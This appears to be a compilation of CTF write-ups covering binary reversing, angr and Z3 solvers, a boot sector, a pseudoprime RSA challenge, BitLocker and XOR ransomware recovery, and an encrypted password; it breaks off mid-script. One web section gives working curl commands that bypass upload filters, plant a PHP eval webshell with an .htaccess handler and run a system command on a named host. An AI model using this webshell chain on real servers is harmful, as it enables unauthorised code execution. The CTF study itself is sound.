We stored the flag within this binary, but made a few errors when trying to print it. Can you make use of these errors to recover the flag?

Overview

1
2

❯ file flag_errata.exe
flag_errata.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 9 sections

A PE64 binary (GCC 7.3 / MinGW-w64) with a monstrous 53KB main function. It prompts for a 40-character password, validates each character through error-code accumulation, then returns -247 on any mismatch.

The core pattern repeats 40 times:

1
2
3
4
5
6
7
8
9

sub_401560();                    // intentionally failing WinAPI call
LastError = GetLastError();      // harvest the error code
sub_40159B();
v5 = GetLastError() + LastError; // accumulate
sub_4015D6();
v6 = GetLastError() + v5;
// ... N calls total ...
if ( Buffer[i] != (int)(accumulated) % 126 )
    return -247;                 // failure — 247CTF signature

The password is never stored anywhere. It’s implicitly encoded by the count and sequence of WinAPI calls whose error codes reconstruct each character.

The Error Code Cycle

13 functions form a fixed cycle, each designed to fail deterministically:

Each character block calls N consecutive functions from this cycle, accumulates the error codes, then checks sum % 126 against the input.

Algebraic Solution

The key insight: since the error codes cycle deterministically, we can bypass the Windows environment entirely and solve this as pure modular arithmetic.

I use Arch BTW.

Let:

• $S = \sum_{k=0}^{12} e_k$, the sum of one full cycle (all 13 error codes)
• $P(r) = \sum_{k=0}^{r-1} e_k$, the partial sum of the first r codes

For character i with n_i total API calls:

$$q_i = \left\lfloor \frac{n_i}{13} \right\rfloor, \qquad r_i = n_i \bmod 13$$

password[i] ≡ q_i ⋅ S + P(r_i) (mod  126)

The flag format 247CTF{...} gives us 8 known characters for free. Three of them — blocks 2, 3, 6 — share the same remainder r = 9: same position in the error-code cycle, different lap counts. Shared P(9) cancels on subtraction.

Blocks 2, 3, 6 correspond to 7 (ASCII 55, q = 16), C (67, q = 10), { (123, q = 24):

$$\begin{aligned} 16S + P(9) &\equiv 55 \pmod{126} && \quad (1) \\ 10S + P(9) &\equiv 67 \pmod{126} && \quad (2) \\ 24S + P(9) &\equiv 123 \pmod{126} && \quad (3) \end{aligned}$$

Subtracting (2) from (1) eliminates P(9):

$$\begin{aligned} (16 - 10)\,S &\equiv 55 - 67 \pmod{126} \\ 6S &\equiv -12 \equiv 114 \pmod{126} \end{aligned}$$

Since gcd (6, 126) = 6 divides 114, we may divide the entire congruence by 6 (reducing the modulus to 126/6 = 21):

S ≡ 19 (mod  21)   ⇒   S ∈ {19, 40, 61, 82, 103, 124}

Similarly, (3) − (1) yields a second constraint:

$$\begin{aligned} 8S &\equiv 68 \pmod{126} \\ 4S &\equiv 34 \pmod{63} && \quad (\text{dividing by } \gcd(2, 126) = 2) \end{aligned}$$

To isolate S, multiply both sides by the modular inverse 4⁻¹ ≡ 16 (mod  63), since 4 × 16 = 64 ≡ 1:

S ≡ 16 × 34 = 544 ≡ 40 (mod  63)

Intersecting via CRT: 40 mod  21 = 19 ✓, so both congruences agree.

$$\boxed{\,S = 40\,}$$

Back-substituting into (1):

$$\begin{aligned} 16 \times 40 + P(9) &\equiv 55 \pmod{126} \\ 640 + P(9) &\equiv 55 \pmod{126} \\ 10 + P(9) &= 55 && \quad (640 \bmod 126 = 10) \\ P(9) &= 45 \end{aligned}$$

Same process with the remaining known characters fills all partial sums:

With S and all P(r) determined, every character computes directly:

All 40 characters land in the valid charset — 247CTF{ prefix, [0-9a-f] hex body, } suffix — confirming the solution without ever running the binary.

Character-by-Character Breakdown

Anti-Analysis

• TLS Callbacks: Two callbacks (0x401C50, 0x401C20) execute before main — a common anti-debug vector.
• 53KB of bloat: Up to 321 API calls per character, making manual static analysis impractical without scripting.
• Environment sensitivity: Functions like CreateProcessA and SetConsoleDisplayMode return different error codes under a debugger, making dynamic analysis a trap. The algebraic approach sidesteps this entirely by reasoning at the mathematical level, independent of the Windows runtime.

Why waste time creating multiple functions, when you can just use one? Can you find the path to the flag in this angr-y binary?

Challenge Overview

The challenge provides a 32-bit ELF executable. The goal is to find the correct input that leads to the flag.

1
2

❯ file angr-y_binary
angr-y_binary: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=611e939f262f927b8515162283d36476df2d3244, not stripped

Analysis

Using radare2 to inspect the disassembly, we identify three key functions: print_flag, no_flag, and maybe_flag.

Disassembly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

     ;-- print_flag:
     0x08048596      55             push ebp
     0x08048597      89e5           mov ebp, esp
     ...
     0x080485db      e830feffff     call sym.imp.fgets          ;[3]
     0x080485e0      83c410         add esp, 0x10
     0x080485e3      83ec0c         sub esp, 0xc
     0x080485e6      8d45b4         lea eax, [ebp - 0x4c]
     0x080485e9      50             push eax
     0x080485ea      e841feffff     call sym.imp.puts           ;[4]
     ...

     ;-- no_flag:
     0x08048609      55             push ebp
     0x0804860a      89e5           mov ebp, esp
     0x0804860c      e8d0005e00     call sym.__x86.get_pc_thunk.ax ;[6]
     0x08048611      05ef195e00     add eax, 0x5e19ef
     0x08048616      c780300000..   mov dword [eax + 0x30], 0
     0x08048620      90             nop
     0x08048621      5d             pop ebp
     0x08048622      c3             ret

     ;-- maybe_flag:
     0x08048623      55             push ebp
     0x08048624      89e5           mov ebp, esp
     0x08048626      53             push ebx
     0x08048627      83ec04         sub esp, 4
     0x0804862a      e8b2005e00     call sym.__x86.get_pc_thunk.ax ;[6]
     0x0804862f      05d1195e00     add eax, 0x5e19d1
     0x08048634      8b9030000000   mov edx, dword [eax + 0x30]
     0x0804863a      85d2           test edx, edx
 ┌─< 0x0804863c      7407           je 0x8048645
 │   0x0804863e      e853ffffff     call sym.print_flag         ;[7]
┌──< 0x08048643      eb14           jmp 0x8048659
│└─> 0x08048645      83ec0c         sub esp, 0xc
...

The logic suggests we need to reach print_flag while avoiding the paths that lead to no_flag.

Solution

Since the binary’s path to the flag is complex, we use angr to perform symbolic execution and find the correct input.

Solver Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import angr
import sys

def solve(bin_path):
    project = angr.Project(bin_path)

    # Initialize the state at entry
    initial_state = project.factory.entry_state(
        add_options = {
            angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
            angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS
        }
    )

    simulation = project.factory.simgr(initial_state)

    # Explore searching for the print_flag function and avoiding no_flag
    # print_flag: 0x08048596
    # no_flag: 0x8048609
    simulation.explore(find=0x08048596, avoid=0x8048609)

    if simulation.found:
        solution_state = simulation.found[0]
        print(f"Found solution: {solution_state.posix.dumps(sys.stdin.fileno()).decode()}")
    else:
        raise Exception('Could not find the solution')

if __name__ == "__main__":
    solve('./angr-y_binary')

Execution

Running the script gives us the password:

1
2

❯ python solve.py
wgIdWOS6Df9sCzAfiK

Connecting to the server with the found password:

1
2
3

❯ nc 0c4c28058a1f7a2f.247ctf.com 50230
Enter a valid password:
wgIdWOS6Df9sCzAfiK

References

• angr_ctf learn - jakespringer

Can you unlock the secret boot sequence hidden within our flag bootloader to recover the flag?

Analysis

1
2

❯ file flag.com
flag.com: DOS/MBR boot sector

This is a 512-byte boot sector image. Using xxd to view the hex data:

1
2
3
4

00000000: eb21 b800 10cd 16c3 60b4 0e8a 043c 0074  .!......`....<.t
00000010: 0eb7 00b3 07cd 1080 fe24 7403 46eb ec61  .........$t.F..a
...
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.

The 55 aa signature at the end confirms it is a standard boot sector.

Boot Sector Fundamentals

When a computer powers on and completes the Power-On Self-Test (POST), the BIOS reads the first sector (512 bytes) of the disk into physical memory between 0x7C00 and 0x7DFF. It then sets the CPU’s Instruction Pointer (IP) to 0x7C00 to begin execution.

Therefore, the base address of this program in memory is 0x7C00. When performing static analysis or debugging, any hardcoded physical addresses must have 0x7C00 subtracted to find their corresponding file offset.

Static Analysis and Memory Mapping

Analyzing the assembly code reveals two critical memory locations:

1. Flag Ciphertext Area (0x7DAA)

Calculate the file offset: 0x7DAA − 0x7C00 = 0x01AA Looking at the hex dump at 0x01AA:

1

000001a0: 6420 636f 6465 210a 0d00 3234 3743 5446  d code!...247CTF

2. Input Buffer (0x7DEC)

Calculate the file offset: 0x7DEC − 0x7C00 = 0x01EC The region of null bytes before the 55 aa signature is used directly as a buffer for keyboard input.

Core Logic Deconstruction

Focusing on sub_1016A in IDA (the primary decryption logic):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

seg000:016B  mov  bx, 7DECh      ; BX points to the input buffer
seg000:016E  mov  si, 7DAAh      ; SI points to the start of the ciphertext
seg000:0171  add  si, 7          ; Skip "247CTF{"

; Validate the first input character and decrypt
seg000:0174  mov  al, 4Bh        ; 'K'
seg000:0176  xor  al, 0Ch        ; AL = 0x4B ^ 0x0C = 0x47 ('G')
seg000:0178  cmp  [bx], al       ; Check if input[0] == 'G'
seg000:017A  jnz  loc_1027C      ; Jump to failure if not equal

; Decrypt ciphertext using the validated char in AL
seg000:017E  xor  [si], al       ; XOR decryption
seg000:0180  inc  si
seg000:0181  xor  [si], al       ; Each input char decrypts TWO bytes
seg000:0183  inc  bx
seg000:0184  inc  si

Logic Summary: 1. The program requires a 16-character unlock code. 2. Each character is validated via arithmetic/logical operations (XOR, ADD, SUB). 3. Validated characters serve as XOR keys to decrypt the subsequent ciphertext region. 4. Each key character decrypts 2 bytes of ciphertext.

Solution Script

We can simulate the assembly operations to recover the unlock code and then use it to XOR the ciphertext bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#!/usr/bin/env python3

def solve():
    # 1. Recover the 16-character unlock code
    unlock_chars = [
        0x4B ^ 0x0C, 0x53 ^ 0x06, 0x58 - 0x01, 0x62 - 0x29,
        0x68 ^ 0x23, 0x4B ^ 0x00, 0x62 - 0x1E, 0x4D - 0x0B,
        0x45 ^ 0x0D, 0x10 ^ 0x28, 0x58 ^ 0x1D, 0x7A ^ 0x28,
        0x65 - 0x13, 0x33 ^ 0x07, 0x25 ^ 0x15, 0x4C + 0x0C
    ]
    
    unlock_code = "".join(chr(c) for c in unlock_chars)
    print(f"[*] Unlock Code: {unlock_code}")

    # 2. Extract encrypted payload (32 bytes from offset 0x1B1)
    # This corresponds to memory 0x7DB1 (0x7DAA + 7)
    payload_hex = "77 21 67 30 60 35 0c 0c 78 79 2e 2e 20 72 70 75 29 2b 00 5c 21 70 62 63 65 60 07 0d 06 02 3b 3b"
    encrypted_bytes = bytes.fromhex(payload_hex)

    # 3. Perform XOR decryption
    decrypted_chars = []
    for i, byte in enumerate(encrypted_bytes):
        key = unlock_chars[i // 2]
        decrypted_chars.append(chr(byte ^ key))

    print(f"[+] Flag: 247CTF{{{ ''.join(decrypted_chars) }}}")

if __name__ == "__main__":
    solve()

1
2
3
4
5
6
7

Name: Mission Impossible
Type: crypto
Author: badmonkey
Desc: 希望你也有阿汤哥一般的数理基础（本题附件于2021.8.9更新）
Link: nc 159.75.177.153 10000
Attach: http://159.75.177.153/att/task_new.py
Tips: None

Challenge source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

#!/usr/bin/env python3

flag = open("/home/ctf/flag", "rb").read()


def isPrime(n):
    if int(n).bit_length() < 444:
        return False
    basis = [
        2,
        3,
        5,
        7,
        11,
        13,
        17,
        19,
        23,
        29,
        31,
        37,
        41,
        43,
        47,
        53,
        59,
        61,
        67,
        71,
        73,
        79,
    ]
    if n <= 1:
        return False
    if n == 2 or n == 3:
        return True
    if n % 2 == 0:
        return False
    r, s = 0, n - 1
    while s % 2 == 0:
        r += 1
        s //= 2
    for b in basis:
        x = pow(b, s, n)
        if x == 1 or x == n - 1:
            continue
        for _ in range(r - 1):
            x = pow(x, 2, n)
            if x == n - 1:
                break
        else:
            return False
    return True


def get_flag():
    try:
        p = int(input("give me your P:"))
        q = int(input("give me your Q:"))
        r = int(input("give me your R:"))
        n = int(input("give me your N:"))

        if isPrime(p) and isPrime(q) and isPrime(r) and isPrime(n) and p * q * r == n:
            if n.bit_length() < 1024:
                print("It's 2021 now,young man.")
                return
            m = int.from_bytes(flag, "big")
            print("here is your flag %d" % pow(m, 0x10001, n))
        else:
            print("mission impossible. CIA needed")
        return
    except:
        print("wrong")
    return


if __name__ == "__main__":
    get_flag()
    exit(1)

Core idea

The service asks for P, Q, R, N such that:

1. isPrime(P), isPrime(Q), isPrime(R), and isPrime(N) are all true.
2. N = P * Q * R.
3. N has at least 1024 bits.

N is obviously composite, so the key is to make N a strong pseudoprime for all hardcoded Miller-Rabin bases.

Construction outline

Use an Arnault-style construction with:

• P = a*k + 1
• Q = b*k + 1
• R = c*k + 1

Choose a, b, c as distinct primes with a, b, c ≡ 1 (mod 8) (for base-2 behavior), e.g. 89, 113, 137.

To make (P-1), (Q-1), (R-1) divide (N-1), solve the congruence system:

1
2
3

k ≡ -(b+c)(bc)^(-1) (mod a)
k ≡ -(a+c)(ac)^(-1) (mod b)
k ≡ -(a+b)(ab)^(-1) (mod c)

For odd MR bases B in {3,5,...,79}, force k ≡ 0 (mod B). Also force k ≡ 2 (mod 4) so P, Q, R ≡ 3 (mod 4).

Then scan k until P, Q, R are all truly prime (with a strong primality test like sympy.isprime).

Solver script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

#!/usr/bin/env python3
from math import prod

import sympy
from sympy.ntheory.modular import crt


def solver():
    bases = [
        3,
        5,
        7,
        11,
        13,
        17,
        19,
        23,
        29,
        31,
        37,
        41,
        43,
        47,
        53,
        59,
        61,
        67,
        71,
        73,
        79,
    ]
    base_prod = prod(bases)

    a, b, c = 89, 113, 137

    y_a = (-(b + c) * pow(b * c * base_prod, -1, a)) % a
    y_b = (-(a + c) * pow(a * c * base_prod, -1, b)) % b
    y_c = (-(a + b) * pow(a * b * base_prod, -1, c)) % c
    y_4 = 2

    y_base, y_mod = crt([a, b, c, 4], [y_a, y_b, y_c, y_4])

    k_base = base_prod * int(y_base)
    k_mod = base_prod * int(y_mod)

    min_k = (1 << 444) // a + 1
    start_i = (min_k - k_base) // k_mod + 1
    if start_i < 0:
        start_i = 0

    for i in range(start_i, start_i + 1_000_000):
        k = k_base + i * k_mod

        p = a * k + 1
        if not sympy.isprime(p):
            continue

        q = b * k + 1
        if not sympy.isprime(q):
            continue

        r = c * k + 1
        if not sympy.isprime(r):
            continue

        n = p * q * r
        print(f"P = {p}")
        print(f"Q = {q}")
        print(f"R = {r}")
        print(f"N = {n}")
        return p, q, r, n

    raise RuntimeError("No solution found in current search window")


if __name__ == "__main__":
    solver()

Ciphertext from remote

1

21903103496980081373563573693903562346746553643549818726007975948477827819459765088909748053913796144132553228584337940471254732244734196780412249598279393335004210910953390996721397236654824645841526330517109905833017093822718222876587329963794042086917871402474385749212962074053842003782042533173326441388721313429460738550791493248565473365397568505962364729491646535933145902419195195919991941091

RSA decryption (3-prime)

Once P, Q, R are known, decrypt like standard RSA:

• phi(N) = (P-1)(Q-1)(R-1)
• d = e^(-1) mod phi(N) with e = 65537
• m = c^d mod N

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

def decrypt(p, q, r, c):
    e = 0x10001
    n = p * q * r
    phi = (p - 1) * (q - 1) * (r - 1)
    d = pow(e, -1, phi)
    m = pow(c, d, n)

    size = (m.bit_length() + 7) // 8
    msg = m.to_bytes(size, "big")
    print(msg.decode("utf-8", errors="ignore"))


if __name__ == "__main__":
    P = 45427420268475430659332737993000283397102585042957378767593137448789955507087370207886940708232722175257488588695287994058256318553211
    Q = 57677511127390153533759543743921708133399911346676222480202522828238932273043514983047464045284242761843777646320983632905426561758571
    R = 69927601986304876408186349494843132869697237650395066192811908207687909038999659758207987382335763348430066703946679271752596804963931
    C = 21903103496980081373563573693903562346746553643549818726007975948477827819459765088909748053913796144132553228584337940471254732244734196780412249598279393335004210910953390996721397236654824645841526330517109905833017093822718222876587329963794042086917871402474385749212962074053842003782042533173326441388721313429460738550791493248565473365397568505962364729491646535933145902419195195919991941091

    decrypt(P, Q, R, C)

Source analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?php
highlight_file(__FILE__);

$upload = 'upload/' . md5("2021" . $_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload . '/index.php', '');
var_dump($upload);

if (isset($_POST['file']) && isset($_POST['file'])) {
    if (preg_match('#.+\.ph(p[3457]?|t|tml)$|/#is', $_POST['file'])) {
        die('file error');
    }
    if (preg_match('#\w{2,}|[678]|<\?|/#', $_POST['content'])) {
        die('content error');
    }
    file_put_contents($upload . '/' . $_POST['file'], $_POST['content']);
}

if (isset($_GET['reset'])) {
    @rmdir($upload);
} string(39) "upload/8cecb394a757c7e7a02f7ed43677c303"

1. The upload path is deterministic and leaked by var_dump($upload).
2. The filename filter only blocks extensions ending with .php/.phtml variants, so arch.php.wtf passes.
3. The content check applies preg_match to $_POST['content']; sending content[]= makes it an array and bypasses the intended regex check.
4. Uploading .htaccess with SetHandler application/x-httpd-php forces Apache to execute the uploaded non-.php file as PHP.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 1) Upload payload to a non-blocked extension
curl -X POST \
  -d "file=arch.php.wtf" \
  -d "content[]=<?php eval(\$_POST['arch']); ?>" \
  http://159.75.177.153:8888/

# 2) Enable PHP handler in the upload directory
curl -X POST \
  -d "file=.htaccess" \
  -d "content[]=SetHandler application/x-httpd-php" \
  http://159.75.177.153:8888/

# 3) Execute command (replace <upload_dir> with leaked value)
curl -X POST \
  -d "arch=system('/readflag');" \
  http://159.75.177.153:8888/upload/8cecb394a757c7e7a02f7ed43677c303/arch.php.wtf

Flag:

We created a service which can read and print the flag for you. To use the application, you first need to enter a valid product key. Can you reverse the algorithm and generate a valid key?

Reversing

The binary reads a product key, validates it, and prints the flag only if validation succeeds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

int __fastcall main(int argc, char **argv, char **envp)
{
  int is_valid;
  char input_key[136];

  setbuf(stdout, 0);
  memset(input_key, 0, 129);
  puts("Enter a valid product key to gain access to the flag:");
  fgets(input_key, 128, stdin);
  input_key[strcspn(input_key, "\n")] = 0;

  is_valid = validate_product_key(input_key);
  if (is_valid)
  {
    puts("Valid product key!");
    print_flag_file();
  }
  else
  {
    puts("Invalid product key!");
  }

  return 0;
}

bool __fastcall validate_product_key(const char *product_key)
{
  int i;
  int checksum;

  if (strlen(product_key) != 32)
    return 0;

  // Allowed characters: 0x40..0x5A ('@'..'Z')
  for (i = 0; i < strlen(product_key); ++i)
  {
    if (product_key[i] <= 63 || product_key[i] > 90)
      return 0;
  }

  checksum = 247;
  for (i = 1; i < strlen(product_key); ++i)
    checksum += transform_char(product_key[i]) - i + 247;

  return checksum % 248 == transform_char(product_key[0])
      && checksum % 248 == 247;
}

int __fastcall transform_char(unsigned __int8 ch)
{
  if ((char)ch <= 'M')
    return (char)ch + 181;
  return (char)ch + 177;
}

From validate_product_key:

• Key length must be exactly 32.
• Each character must be in 0x40..0x5A (@ to Z).
• Final condition enforces checksum % 248 == 247.
• Also, transform_char(key[0]) must equal that same value.

Because transform_char(c) == 247 only when c == 'B', the first character is fixed to B.

Z3 solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

from z3 import *
from z3 import BitVec, BitVecVal, If, Solver, ZeroExt, sat

s = Solver()

# 1. 定义 32 个 8-bit 的符号变量（代表字符）
flag = [BitVec(f"flag[{i}]", 8) for i in range(32)]


# 2. 施加字符集约束 ('@' to 'Z')
for i in range(32):
    # Integer Promotion converts c to a 32-bit integer = 8 bits(char) + 24 bits
    s.add(flag[i] >= 65, flag[i] <= 90)


# 3. 核心转换逻辑 (transform_char)
def transform(c):
    # z3 的 If 语法：If(条件, 真值, 假值)
    return If(c <= 77, ZeroExt(24, c) + 181, ZeroExt(24, c) + 177)


# 4. 累加校验和计算
# 使用 32-bit 位向量防止整数溢出，就像 C 语言里的 int 一样
# Integer Promotion converts c to a 32-bit integer = 8 bits(char) + 24 bits
checksum = BitVecVal(247, 32)
for i in range(1, 32):
    checksum += transform(flag[i]) - i + 247

s.add(checksum % 248 == 247)
s.add(checksum % 248 == transform(flag[0]))

if s.check() == sat:
    model = s.model()
    # 提取计算出的字符并拼接
    flag = "".join(chr(model[flag[i]].as_long()) for i in range(32))
    print(f"[+] Valid Product Key: {flag}")

Solver output:

1

BUYRSCLZHPATAQZSLJMJMKOOBFRAOVUX

Remote verification

1

nc 892dc593a381aaea.247ctf.com 50478

1
2
3
4

Enter a valid product key to gain access to the flag:
BUYRSCLZHPATAQZSLJMJMKOOBFRAOVUX
Valid product key!
247CTF{********************************}

Z3 is an SMT solver. You describe a problem as variables plus constraints, and Z3 finds assignments that satisfy them (or proves none exist).

• SMT = “Satisfiability Modulo Theories”
• Think of it as: “declare rules first, solve later”
• Usually not a replacement for a hand-tuned algorithm, but great when rules change often

Typical use cases

• Scheduling and timetabling
• Resource allocation
• Program analysis and verification
• Reverse engineering and CTF constraints

Example scheduling constraints:

• Mary cannot work Tuesdays
• John cannot teach before 10:00
• Outdoor classes cannot happen after 12:00
• Susan and Sarah cannot teach the same class

This is exactly the kind of constraint-heavy problem where solvers shine.

Core variable types

• Int(name): integer (no fractions)
• Real(name): real/rational number
• Bool(name): boolean (True / False)
• BitVec(name, bits): fixed-width integer with wraparound (useful for low-level/crypto work)

You can declare multiple variables at once with plural helpers, for example:

1

a, b, c, d, e = Bools("a b c d e")

Common operators and helpers

• And(*args): all conditions must hold
• Or(*args): at least one condition must hold
• Not(x): logical negation
• Xor(a, b): exactly one is true
• Distinct(*args): all expressions have different values
• LShR(n, b): logical right shift (fills with 0)

Notes:

• Arithmetic: +, -, *, /, **
• Bitwise: <<, >>, &, |
• Comparisons: ==, !=, <, >, <=, >=
• For bit-vectors, >> is arithmetic shift; use LShR for logical shift

Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

from z3 import Real, Solver, sat

s = Solver()

x = Real("x")
y = Real("y")
z = Real("z")

s.add(x * x + y == 16)
s.add(z**3 == 27)
s.add(x * z == 6)

if s.check() == sat:
    m = s.model()
    print("model:", m)
    print("x =", m.eval(x))
    print("y =", m.eval(y))
    print("z =", m.eval(z))
else:
    print("unsat")

References

• https://asibahi.github.io/thoughts/a-gentle-introduction-to-z3/
• https://www.hillelwayne.com/post/z3-examples/
• https://book.jorianwoltjer.com/cryptography/custom-ciphers/z3-solver

Encrypted USB Drive

An important USB drive containing sensitive information has been encrypted by some new ransomware variant. Can you reverse the ransomware encryption function and recover the files?

1. Initial Analysis

We are provided with a BitLocker-encrypted USB image (encrypted_usb.dd) and a large list of potential recovery keys (recovery_keys_dump.txt).

1
2

❯ file encrypted_usb.dd
encrypted_usb.dd: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "-FVE-FS-", ... FAT (32 bit) ... NTFS ...

The goal is to find the correct recovery key, mount the image, and then deal with the “ransomware” that has encrypted the files inside.

2. BitLocker Decryption

Attempting John the Ripper

First, I tried using bitlocker2john to extract the hash and then cracked it with the provided recovery keys.

1
2
3
4

❯ bitlocker2john -i encrypted_usb.dd > hash
❯ john --wordlist=./recovery_keys_dump.txt --fork=6 hash
...
0 password hashes cracked, 4 left

John didn’t seem to find the key directly (possibly due to format mismatch or configuration). Instead of debugging the hash format, I moved to a more direct approach: brute-forcing the mount command using dislocker.

Brute-forcing with Dislocker

I wrote a simple bash script to iterate through the recovery_keys_dump.txt and attempt to mount the image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#!/usr/bin/env bash

IMG_FILE="encrypted_usb.dd"
MNT_DIR="/mnt/bitlocker_img"
USB_DIR="/mnt/unlocked_usb"
KEYS_FILE="recovery_keys_dump.txt"

if [[ $EUID -ne 0 ]]; then
   echo "[-] Error: This script must be run as root."
   exit 1
fi

mkdir -p "$MNT_DIR" "$USB_DIR"

while IFS= read -r key; do
    # -p specifies the recovery password
    if dislocker -V "$IMG_FILE" -p"$key" -- "$MNT_DIR" 2>/dev/null; then
        echo -e "\n[+] Recovery Key Found: $key"
        break
    fi
done < "$KEYS_FILE"

Running the script successfully identified the key:

1
2
3

[+] Recovery Key Found: 334565-564641-129580-248655-292215-551991-326733-393679

❯ sudo mount /mnt/bitlocker_img/dislocker-file /mnt/unlocked_usb

3. Ransomware Analysis

Inside the mounted drive, we find several encrypted files and the ransomware binary itself:

1
2
3
4
5
6
7
8
9

❯ ls -lh /mnt/unlocked_usb/
total 3.2M
-rwxrwxrwx 1 root root 474K Oct  8  2022 crypto_passphrase.png.xxx.crypt
-rwxrwxrwx 1 root root  15K Oct  8  2022 cryptor
-rwxrwxrwx 1 root root 9.2K Oct  8  2022 do_not_open.png.xxx.crypt
-rwxrwxrwx 1 root root 133K Oct  8  2022 meeting_minutes.png.xxx.crypt
-rwxrwxrwx 1 root root 889K Oct  8  2022 passwords.png.xxx.crypt
-rwxrwxrwx 1 root root  386 Oct  8  2022 ransom.txt
-rwxrwxrwx 1 root root 1.7M Oct  8  2022 salary_screenshot.png.xxx.crypt

The ransom.txt claims to use a “secure XOR encryption algorithm”.

1
2

Your files have been encrypted using a secure xor encryption algorithm and are completely unrecoverable!
To decrypt your files, you need your secret encryption key.

4. Recovery (Known Plaintext Attack)

Since the files are PNGs, we can perform a Known Plaintext Attack. We know that PNG files always start with the same 8-byte magic header: 89 50 4E 47 0D 0A 1A 0A.

By XORing the first 8 bytes of an encrypted file with this known PNG header, we can recover the XOR key.

Using CyberChef:

1. Input the first few bytes of do_not_open.png.xxx.crypt.
2. XOR with the PNG magic bytes 89 50 4E 47 0D 0A 1A 0A.
3. The result reveals the key repeats as 66 63 6f 79 (ASCII: fcoy).

Applying the XOR key fcoy to the entire file do_not_open.png.xxx.crypt recovers the original image containing the flag.

5. Deep Dive: Reversing the cryptor Binary

I was curious about how the binary actually worked, so I threw it into IDA Pro.

Main Logic

The program expects a 4-character key as a command-line argument. It then iterates through the current directory, looking for files with the .xxx extension.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  // ...
  // Key must be exactly 4 bytes long
  if ( a1 != 2 || strlen(a2[1]) != 4 || (unsigned int)check_key_validity(a2[1]) != 1 )
    return 1;

  dirp = opendir(".");
  if ( dirp )
  {
    while ( (v5 = readdir(dirp)) != 0 )
    {
      if ( (unsigned int)is_target_extension(v5->d_name) == 1 )
      {
        strcpy(dest, v5->d_name);
        strcat(dest, ".crypt"); // Append .crypt to original name
        encrypt_file(v5->d_name, dest, a2[1]);
      }
    }
    closedir(dirp);
  }
  return 0;
}

Encryption Function

The encryption is indeed a simple byte-by-byte XOR using the 4-byte key provided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

unsigned __int64 __fastcall encrypt_file(char *source, char *dest, char *key)
{
  // ...
  stream = fopen(source, "rb");
  v16 = fopen(dest, "wb");
  key_len = strlen(key);

  do
  {
    // Read chunks matching the key length
    bytes_read = fread(ptr, 1u, key_len, stream);
    for ( i = 0; i < bytes_read; ++i )
      *((_BYTE *)ptr + i) ^= key[i]; // XOR logic
    fwrite(ptr, 1u, bytes_read, v16);
  }
  while ( bytes_read == key_len );

  fclose(stream);
  fclose(v16);
  return ...;
}

The analysis confirms the Known Plaintext Attack was the correct approach, as the key length was short (4 bytes) and applied cyclically.

The encrypted password

Challenge prompt:

You won’t find the admin’s secret password in this binary. We even encrypted it with a secure one-time-pad. Can you still recover the password?

1. Quick dynamic check with ltrace

ltrace shows the binary compares our input against a transformed string.

1
2
3
4
5
6

$ ltrace ./encrypted_password
...
puts("Enter the secret password:")
fgets("arst\\n", 33, stdin)
strcmp("arst\\n", "141c85ccfb2ae19d8d8c224c4e403dce"...)
...

This already hints that the expected secret is a printable 32-byte string.

2. Or debug in debugger (pwndbg)

Set a breakpoint at the strcmp call (0x555555400930) and run the program.

1
2
3
4
5
6

pwndbg> b *0x555555400930
pwndbg> r
...
► 0x555555400930    call   strcmp@plt
    s1: 0x7fffffffdf00 ◂— 0x500000000a
    s2: 0x7fffffffded0 ◂— '141c85ccfb2ae19d8d8c224c4e403dce'

At compare time, s2 contains the final password candidate.

3. Or reverse logic in IDA

Relevant decompiled logic:

1
2
3
4
5
6
7
8
9
10
11
12

strcpy(s, "875e9409f9811ba8560beee6fb0c77d2");
*(_QWORD *)s2 = 0x5A53010106040309LL;
v8  = 0x5C585354500A5B00LL;
v9  = 0x555157570108520DLL;
v10 = 0x5707530453040752LL;

for (i = 0; i < strlen(s); ++i)
  s2[i] ^= s[i];

fgets(s1, 33, stdin);
if (!strcmp(s1, s2))
  printf("You found the flag!\\n247CTF{%s}\\n", s2);

So the binary builds s2, XORs it with s, then compares it against input.

Reconstruct the secret with Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14

from pwn import p64, xor

chunks = [
